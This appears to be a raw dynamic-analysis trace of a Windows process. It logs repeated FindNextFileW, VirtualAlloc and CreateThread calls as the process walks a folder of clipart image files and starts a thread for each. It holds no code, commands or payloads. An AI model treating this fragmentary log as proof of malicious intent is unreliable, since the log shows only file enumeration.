	[0277.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2db0
	[0277.929] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.929] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db62a00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3db62a00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0251925.WMF", cAlternateFileName="")) returned 1
	[0277.929] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2db4
	[0277.931] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.931] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8de800, ftCreationTime.dwHighDateTime=0x1beb2f7, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb8de800, ftLastWriteTime.dwHighDateTime=0x1beb2f7, nFileSizeHigh=0x0, nFileSizeLow=0x158c, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0252349.WMF", cAlternateFileName="")) returned 1
	[0277.931] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2db8
	[0277.933] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.934] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdf2000, ftCreationTime.dwHighDateTime=0x1beccca, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fdf2000, ftLastWriteTime.dwHighDateTime=0x1beccca, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0278882.WMF", cAlternateFileName="")) returned 1
	[0277.934] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dbc
	[0277.936] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.936] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0c800, ftCreationTime.dwHighDateTime=0x1bee443, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecd0c800, ftLastWriteTime.dwHighDateTime=0x1bee443, nFileSizeHigh=0x0, nFileSizeLow=0x4ffa, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0281904.WMF", cAlternateFileName="")) returned 1
	[0277.936] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc0
	[0277.938] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.938] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a4f200, ftCreationTime.dwHighDateTime=0x1bed3d9, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe1a4f200, ftLastWriteTime.dwHighDateTime=0x1bed3d9, nFileSizeHigh=0x0, nFileSizeLow=0x4dc6, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0283209.GIF", cAlternateFileName="")) returned 1
	[0277.938] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc4
	[0277.940] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.941] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ae3400, ftCreationTime.dwHighDateTime=0x1bea1cc, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ae3400, ftLastWriteTime.dwHighDateTime=0x1bea1cc, nFileSizeHigh=0x0, nFileSizeLow=0x62e3, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0284916.JPG", cAlternateFileName="")) returned 1
	[0277.941] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc8
	[0278.159] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.160] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa68bc300, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa68bc300, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x7876, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0285360.WMF", cAlternateFileName="")) returned 1
	[0278.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dcc
	[0278.161] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.162] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63acb00, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd63acb00, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0285410.WMF", cAlternateFileName="")) returned 1
	[0278.162] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dd0
	[0278.164] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.164] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d5a00, ftCreationTime.dwHighDateTime=0x1befd7a, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97d5a00, ftLastWriteTime.dwHighDateTime=0x1befd7a, nFileSizeHigh=0x0, nFileSizeLow=0x2448, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0285444.WMF", cAlternateFileName="")) returned 1
	[0278.165] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dd4
	[0278.167] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.167] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3c7300, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d3c7300, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2a12, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0285698.WMF", cAlternateFileName="")) returned 1
	[0278.167] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dd8
	[0278.169] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.170] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecd1e00, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ecd1e00, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x958c, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0285750.WMF", cAlternateFileName="")) returned 1
	[0278.170] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ddc
	[0278.172] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.172] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95908100, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95908100, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x3452, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0285926.WMF", cAlternateFileName="")) returned 1
	[0278.172] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2de0
	[0278.174] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.175] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf49a800, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf49a800, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9e0, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0286034.WMF", cAlternateFileName="")) returned 1
	[0278.175] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2de4
	[0278.177] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.177] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5efff00, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd5efff00, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0286068.WMF", cAlternateFileName="")) returned 1
	[0278.177] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.178] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2de8
	[0278.179] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.179] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa019c00, ftCreationTime.dwHighDateTime=0x1bef57a, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa019c00, ftLastWriteTime.dwHighDateTime=0x1bef57a, nFileSizeHigh=0x0, nFileSizeLow=0xb21e, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0287005.WMF", cAlternateFileName="")) returned 1
	[0278.179] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dec
	[0278.181] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.182] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948c7400, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948c7400, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x76ea, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0291984.WMF", cAlternateFileName="")) returned 1
	[0278.182] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2df0
	[0278.184] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.184] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9003000, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9003000, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x7148, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0292020.WMF", cAlternateFileName="")) returned 1
	[0278.184] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2df4
	[0278.186] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.187] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af05900, ftCreationTime.dwHighDateTime=0x1bf1522, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4af05900, ftLastWriteTime.dwHighDateTime=0x1bf1522, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0292152.WMF", cAlternateFileName="")) returned 1
	[0278.187] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2df8
	[0278.189] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.190] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48b60800, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x48b60800, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0292982.WMF", cAlternateFileName="")) returned 1
	[0278.190] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dfc
	[0278.192] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.193] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0293234.WMF", cAlternateFileName="")) returned 1
	[0278.193] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e00
	[0278.381] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.382] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0293236.WMF", cAlternateFileName="")) returned 1
	[0278.382] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e04
	[0278.384] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.384] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0293238.WMF", cAlternateFileName="")) returned 1
	[0278.384] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e08
	[0278.386] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.386] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c285600, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9c285600, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0293240.WMF", cAlternateFileName="")) returned 1
	[0278.386] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0c
	[0278.388] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.389] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a99d00, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x47a99d00, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x92c, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0293570.WMF", cAlternateFileName="")) returned 1
	[0278.389] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e10
	[0278.390] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.391] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0911500, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0911500, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x15ea, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0293828.WMF", cAlternateFileName="")) returned 1
	[0278.391] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e14
	[0278.393] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.394] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b82300, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7b82300, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x812, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0293844.WMF", cAlternateFileName="")) returned 1
	[0278.394] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e18
	[0278.395] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.395] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc8d00, ftCreationTime.dwHighDateTime=0x1bf0891, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72dc8d00, ftLastWriteTime.dwHighDateTime=0x1bf0891, nFileSizeHigh=0x0, nFileSizeLow=0x29e5, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0295241.GIF", cAlternateFileName="")) returned 1
